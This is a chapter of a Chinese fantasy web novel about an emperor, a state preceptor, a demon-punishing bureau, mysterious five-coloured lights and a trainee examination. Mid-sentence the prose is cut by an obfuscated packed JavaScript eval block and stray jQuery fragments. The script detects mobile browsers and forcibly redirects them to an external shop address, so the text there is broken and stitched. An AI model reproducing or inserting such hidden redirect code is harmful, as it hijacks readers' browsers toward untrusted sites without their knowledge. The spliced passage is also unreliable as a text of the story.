晕过去之前,步衔珠清晰感知到那五种奇异的光缠绕周身,轻飘飘将自己托起。
步倾梧眼疾手快上前接住步衔珠,身侧一道凌厉黑影闪过,和闻野快步倾梧一步,将突兀昏厥的步衔珠抱入怀中。
御书房内的众人皆是被步衔珠的昏厥吓了一跳,玄安帝看向稳稳抱紧步衔珠不松手的和闻野,低声询问这是怎么回事。
“许是姑娘这几日太累了。”脸不红心不跳的同玄安帝扯开话题,和闻野环抱步衔珠瘦细的腰身,将她带回到云阁。
留安荼蘼和步倾梧二人在御书房,玄安帝眼瞧着将自己的御书房弄脏的刘遮,朝身旁的内侍公公低呵,“把人带出去,传朕旨意,严查科举行贿舞弊一案,朕要那些废物东西给朕一个交代!”
大手一挥遣走内侍公公和哭啼不止的皇后,玄安帝甩袖坐回龙椅,锐利的眸子扫向跪在面前的安荼蘼,还有垂眸站在自己身侧的步倾梧。
“爱卿,方才那道光,你可是瞧见了?”
见步倾梧点头,玄安帝轻揉额角,“它……它不是被老祖先封印了上万年吗?这封印会被突破?”
玄安帝不解,他只是普通的人间帝王,对这些奇异之事并不了解多少。
“其实,每年,那道封印的力量就会减弱,直至万年后这道封印再次被五位来自上古五大家族的传承者,再次用五情将封印加固。”步倾梧垂眸思索,瞧向跪在地上一声不吭的安荼蘼。
“安司长,你应该这件事的,安氏万年的传承,如今族中最出众的便是你。”听得步倾梧提到自己,安荼蘼并未退缩,大方承认,其中五大家族中,兔妖一族便在其中。
“还有呢?其余四大家族应该也留有后辈。”
“除了身为人类的卜氏一脉,其余家族都存在于世。”步倾梧从袖中拿出自己查到的线索,摊开纸卷摆在玄安帝面前。
“当年,人族一脉从凤凰手中继承在人间的皇位,这个重担便注定有人牺牲。陛下,如今五情现世,臣恳请陛下下旨,惩妖司即刻组成一行小队,专门探访调查五情之事,结识其余三大家族。”步倾梧万分担忧,别的不谈,神宴当日从封印中跑出来的妖物,就够他们喝一壶了,何况是面对上古邪妖?
“朕知晓了,惩妖司近些日子不是在选拔能人志士?待到选拔结束,朕便下旨。”
玄安帝头疼扶额,他也不知该如何是好,上古时期凤凰一族携众生共同对抗邪妖,最后也只能勉强将其封印,凤凰一脉迅速凋零,占卜推算出身的卜氏一族也自此不知所踪,五大家族只剩四个,本就是叫人难受的。
步倾梧微微点头,“陛下……”
喃喃念出两个字,步倾梧住了嘴,不再多说什么。
“想说什么?”
步倾梧摇头,躬身行礼后,离开御书房。
云阁内,步衔珠早早被和闻野放到床榻上,和闻野守在床榻边,垂眸仔细回忆方才在御书房见到的五色光,思绪飘远。
还是在幻境,还是身居高位的帝王,那张脸叫和闻野永生难忘。凤凰一族的先祖之一,唯一一只见过正统神明的凤凰。
“为何?那五色光从何而来?”和闻野低声自语,他瞧着外头晴朗无云的天,抬手捂住自己的右耳。
未注意到步倾梧已经回来了,和闻野蹲坐在床边,定定瞧着歪头。
五色光一出现,他便去循着四散的方向看过,那一瞬,他的体内只有躁动,没有其他,那感觉同步衔珠跳入湖水巡查真凶一样,激动、燥热,甚至隐隐迸发期待。
期待接下来会发生什么事,期待还会有什么出现在面前。
“你在想什么?”步倾梧刚刚开口,疲倦带着丝丝哑意的女声先一步问出声。
和闻野回神,迎面与侧着身子坐起身的步衔珠相视,眼尾下垂的凤眸扬起浅淡笑容,和闻野扶着床边站起身,“在想那五道光出现的契机是什么。”
步衔珠沉默,她抬头看向正好站在自己对面的步倾梧,“国师觉得呢?”
步衔珠屈起手指,默默掐算,长发散落,遮住她的大半边神情。
“大抵是刘遮身上有不一样的东西,或者,神宴当日,有什么东西被我放出去了。”
国师也不清楚,他也好奇五情出现的契机是什么,在步衔珠松开脚,放任刘遮撞上桌案的一刹,鲜血喷洒,五情突显。
“我好像从来没有问过你,神宴那日,你告诉我把和闻野引到五尊代表五情的神坛上,究竟是为什么,仅仅是借用那五尊神像留存的神力吗?还是说,另有其他?”
步衔珠侧回头,撩起自己散乱的上衣衣摆,背后盘踞的黑蜘蛛不安抓动的前螯停下,猩红的眼睛僵硬挪动,与看向背后的步衔珠对视。
“你是我的女儿,我这般做,只是为了帮你。”步倾梧见步衔珠不信,心底没来由的委屈。
不被自己的女儿相信,大抵是这个世上最悲惨的事。
步衔珠不再追问,松开拢紧衣衫的手,下床站到和闻野身侧,同和闻野一起上下打量国师。
“做什么?”两道视线同时投向自己,步倾梧警惕后退。
“借你书阁一用。”
“罢了,明日便是惩妖司的终试,你们二人好生休息吧,莫要再熬了。五情现世的事我去查,你安心呆在这里便好。”
见步倾梧拒绝,步衔珠也不再说什么,重新坐回床榻。
惩妖司的终试,多年来都是由司长们共同用灵力编织一个幻境,在里面模拟案发现场,试炼者自己去摸索,调查线索。
通过初试,参与终试选拔的试炼者惴惴不安,三两结队的往惩妖司走,几个人窸窸窣窣,不知商量着什么。
“我最近遇到了一件怪事,也不知道你们有没有遇到。”开了个头的男子向几个人招手,将自己周围的试炼者聚集起来,低声讨论。
步衔珠沉默走在路上,她蹙着眉头,如墨般的长发被云阁的侍女精心梳妆过,编成一股长辫。
“莫要担心,昨日夜里,安司长给我来信,既然刘遮的案子都已经破解了,那终试出的考题,应当是简单的。”和闻野见步衔珠紧蹙着眉头,快走两步跟上去,默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890440|212716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
默打量步衔珠的脸色。
“我不是担心这个事,是有关五情。”步衔珠对终试并不惧怕,一场考核罢了,听闻惩妖司每年年底都有一场针对刚刚加入的新成员的年终考核。
和闻野微微顿住脚步,心底的担忧油然而生。
昨日的躁动,应该就和五情有关,为何?为何五情的光芒散去后,他就没有感觉了,而且心底的担忧越发明显。
“昨日国师查过,说应该和刘遮身上的恨意有关。”和闻野忘记昨晚国师具体如何念叨的了,只想着是刘遮的恨意很强烈,他恨九州,恨这个通过科举才能展现才能的王朝,由此,五情选定了他,开启了一场谋划。
步衔珠侧耳倾听,听得和闻野口中蹦出的话语,步衔珠愣了半晌,才缓缓开口,“估计他不是恨科举,是痛恨有人在如此严密的科举制度之下,仍可以舞弊抄袭,请客送礼,埋没那些真正的能人志士。”
不知不觉走到惩妖司,和闻野落后步衔珠一步,让步衔珠先一步踏进门槛。
院内早早聚集了其余试炼者,步怜颐还没有到,不过旁边空着的大片位置,也只能是他们三个的了。
和闻野站在步衔珠左侧,隔开步衔珠与步怜颐的位置,眉头下垂,别样温和。
费铎高居主位,冷酷的视线扫过院子,最后定在步衔珠身上。
步衔珠站在一众试炼者中,算得上高挑,一身轻便劲装修饰单薄劲挺的腰身,身姿挺拔如松,直视前方时,瞧着无神灰色的凤眸稍显锐利,长发利落束起,不加丝毫的装饰,朴素却不容小觑。
何小单手支着头歪在座位上,目光一瞬不瞬瞧着步衔珠,心里直犯嘀咕。
步衔珠查案的事,他听说了,简单粗暴,却事事清晰,人证物证呈上去,让人看得哑口无言。
若不是步怜颐提前上报,步衔珠握在手中的物证没有搜起,这个案子解决的就更完美了。
察觉数道视线看过来,步衔珠抬眸环视四周,观看各位司长的神色,视线与安荼蘼对视时,步衔珠小幅度颔首,冲安荼蘼露出浅笑。
唇角弯了一瞬,步衔珠收起笑容,眸光落在烤糊了的饼似得的一张脸上。
是何小,脸色不怎么好看。
步怜颐姗姗来迟,她慢步踏上自己站着的位置,高傲仰起头,一边的唇角泛着紫色,貌似被谁打了一拳。
“今日的终试……”日上三竿时,费铎才开口。
寒风凌冽,呼呼吹得每个人身上泛起凉意,费铎止住声音,精明的眼睛扫视底下众人,“选拔五位试炼者,加入惩妖司,而你们的去留,根据前十日的表现决定。”
费铎看向一侧,小兵快跑两步走上前,将手中的决策名单递给费铎。
“想必,有的试炼者心里清楚,这些日子遇到的怪事是惩妖司对你们的考核。进入幻境试炼这个方法太过普通了,也容易被人做手脚,今年便采用了这种方式。”挥挥手,费铎念完手中进入惩妖司的试炼者的名单,满意点头。
“费老!我有一事要举报!步衔珠在终试时,对同僚出手!”